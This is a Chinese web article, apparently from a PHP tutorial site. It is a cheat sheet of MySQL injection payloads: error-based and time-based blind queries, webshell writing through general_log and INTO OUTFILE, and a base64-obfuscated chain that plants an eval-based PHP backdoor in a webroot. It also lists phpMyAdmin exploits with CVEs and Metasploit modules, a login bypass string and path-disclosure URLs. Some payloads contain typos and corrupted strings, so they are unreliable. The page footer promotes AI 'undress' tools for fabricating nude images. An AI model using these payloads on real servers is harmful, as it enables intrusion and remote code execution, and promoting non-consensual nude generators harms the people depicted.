SQL注入语法有哪些
SQL注入语法
报错注入
updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ extractvalue(1,concat(0x7e,(select database()),0x7e),1)--+ select count(*) from information_schema.tabeles group by concat((select database(),floor(rand(0)*2) select substr(version(),1,1)='X' select substring(version(),1,1)='X'
列名重复报错
select * from (select name_const(version(),1))a; select * from (select name_const((version()),1),name_const((select database()),1))a; select * from (select * from users a join users b)c;
数据溢出报错
select (select(!x-~0) from (select(select user())x)a); select ~0+!(select * from (select user())x);
几何函数报错
multipoint((select * from(select * from(select user())a)b));
case when 语句
select * from datadatabase() case id when 1 else 2 end
时间注入
if right((select database()),a,b)>'s' sleep(5) if assic(substr((select database()),a,b))=98 sleep(5) if assic(substr((select database()) from a to b))=98 sleep(5) if ord(mid((select database()),a,b))=98 sleep(5)
通过日志写shell
利用条件
已知物理路径,目录可写,root权限。
查看配置
show variables like '%general';
开启general log模式
set global general_log=on;
设置日志写shell地址*
set global general_log_file="/var/www/html/log.php";
写入shell
select "<?php phpinfo();>";
通过into outfile写shell
利用条件
已知物理路径,目录可写
select '<?php phpinfo();>' into outfile ‘/var/www/html/1.php'
通过导出表写入shell
use mysql; create table shell(shell1 text not null); insert into shell(cmd1) values('<?php phpinfo();>'); select cmd1 from a into outfile '/var/www/html/1.php';
mysql from_base64函数利用
利用base64编码来加密,然后使用自定义变量接到,在使用prepare和EXECUTE来执行语句,完成日志写shell的操作。
set
set 用户定义一个变量,变量里面是sql可以执行的语句。
prepare
prepare name from value;
prepare 语句用于预备一个语句,并指定名称name,然后引用改语句。
execute
execute 语句用于执行预备的语句。
联合起来利用
set @sql1 = (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZz1vbg==')); /*set global general_log=on*/ PREPARE name from @sql; EXECUTE name; set @sql2= (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZ19maWxlPSJDOlxcTVlPQVxcd2Vicm$9$vdFxcbG9naW4ucGhwIg==')); /*set global general_log_file="C:\\MYOA\\webroot\\login.php"*/ PREPARE name from sql2; EXECUTE name; select "<?php eval($_POST[cmd]); ?>"; set @sql3 := (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZyA9IG9mZg==')); /*set global general_log = off*/ PREPARE name from @sql3; EXECUTE name;
phpmyadmin 漏洞合集
phpmyadmin存在pregreplaceeval漏洞
影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 CVE-2013-3238
phpmyadmin存在serversync.php后门漏洞
影响版本 phpmyadmin v3.5.2.2
msf利用模块 : exploit/multi/http/phpmyadmin3522_backdoor CVE-2012-5159
phpmyadmin 配置文件/config/config.inc.php存在命令执行漏洞
影响版本: 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
msf利用模块:exploit/unix/webapp/phpmyadmin_config CVE-2009-1151
登录处漏洞
利用方法:用户名处写入'localhost'@'@"
影响版本:2.113/2.114
php爆绝对路径
phpMyAdmin/libraries/selectlang.lib.php
phpMyAdmin/darkblueorange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
以上是SQL注入语法有哪些的详细内容。更多信息请关注PHP中文网其他相关文章!

热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

AI Hentai Generator
免费生成ai无尽的。

热门文章

热工具

记事本++7.3.1
好用且免费的代码编辑器

SublimeText3汉化版
中文版,非常好用

禅工作室 13.0.1
功能强大的PHP集成开发环境

Dreamweaver CS6
视觉化网页开发工具

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

热门话题

HQL和SQL在Hibernate框架中进行比较:HQL(1.面向对象语法,2.数据库无关的查询,3.类型安全),而SQL直接操作数据库(1.与数据库无关的标准,2.可执行复杂查询和数据操作)。

《OracleSQL中除法运算的用法》在OracleSQL中,除法运算是常见的数学运算之一。在数据查询和处理过程中,除法运算可以帮助我们计算字段之间的比例或者得出特定数值的逻辑关系。本文将介绍OracleSQL中除法运算的用法,并提供具体的代码示例。一、OracleSQL中除法运算的两种方式在OracleSQL中,除法运算可以使用两种不同的方式进行

Oracle和DB2是两个常用的关系型数据库管理系统,它们都有自己独特的SQL语法和特点。本文将针对Oracle和DB2的SQL语法进行比较与区别,并提供具体的代码示例。数据库连接在Oracle中,使用以下语句连接数据库:CONNECTusername/password@database而在DB2中,连接数据库的语句如下:CONNECTTOdataba

MyBatis动态SQL标签解读:Set标签用法详解MyBatis是一个优秀的持久层框架,它提供了丰富的动态SQL标签,可以灵活地构建数据库操作语句。其中,Set标签是用于生成UPDATE语句中SET子句的标签,在更新操作中非常常用。本文将详细解读MyBatis中Set标签的用法,以及通过具体的代码示例来演示其功能。什么是Set标签Set标签用于MyBati

SQL中的Identity是什么,需要具体代码示例在SQL中,Identity是一种用于生成自增数字的特殊数据类型,它常用于唯一标识表中的每一行数据。Identity列通常与主键列配合使用,可以确保每条记录都有一个独一无二的标识符。本文将详细介绍Identity的使用方式以及一些实际的代码示例。Identity的基本使用方式在创建表时,可以使用Identit

在Springboot+Mybatis-plus不使用SQL语句进行多表添加操作我所遇到的问题准备工作在测试环境下模拟思维分解一下:创建出一个带有参数的BrandDTO对象模拟对后台传递参数我所遇到的问题我们都知道,在我们使用Mybatis-plus中进行多表操作是极其困难的,如果你不使用Mybatis-plus-join这一类的工具,你只能去配置对应的Mapper.xml文件,配置又臭又长的ResultMap,然后再去写对应的sql语句,这种方法虽然看上去很麻烦,但具有很高的灵活性,可以让我们

如何使用SQL语句在MySQL中进行数据聚合和统计?在进行数据分析和统计时,数据聚合和统计是非常重要的步骤。MySQL作为一个功能强大的关系型数据库管理系统,提供了丰富的聚合和统计函数,可以很方便地进行数据聚合和统计操作。本文将介绍使用SQL语句在MySQL中进行数据聚合和统计的方法,并提供具体的代码示例。一、使用COUNT函数进行计数COUNT函数是最常用

解决办法:1、检查登录用户是否具有足够的权限来访问或操作该数据库,确保该用户具有正确的权限;2、检查SQL Server服务的帐户是否具有访问指定文件或文件夹的权限,确保该帐户具有足够的权限来读取和写入该文件或文件夹;3、检查指定的数据库文件是否已被其他进程打开或锁定,尝试关闭或释放该文件,并重新运行查询;4、尝试以管理员身份运行Management Studio等等。
